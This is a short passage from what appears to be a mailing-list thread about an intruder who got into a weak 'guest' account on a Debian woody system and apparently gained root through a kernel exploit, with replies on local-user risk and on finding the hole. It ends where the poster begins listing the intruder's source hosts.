You are right about the passwords, but guest is only a unprivileged account as you may have on many prodruction machines. But they managed to become root on this machine due to a kernel(?) exploit! Should I then consider any woody system to be insecure to let people work at?If your uasers are not trustable, then they should not have access to local systems of yours. Once a person has a shell, then they are 95% to root. Thanks, Ron DuFresneFair point... but it would still be nice to determine precisely how they are getting root access so preventative measures can be taken and the hole plugged.
Some more infos maybe useful:
Hosts from which my "guest" they logged in
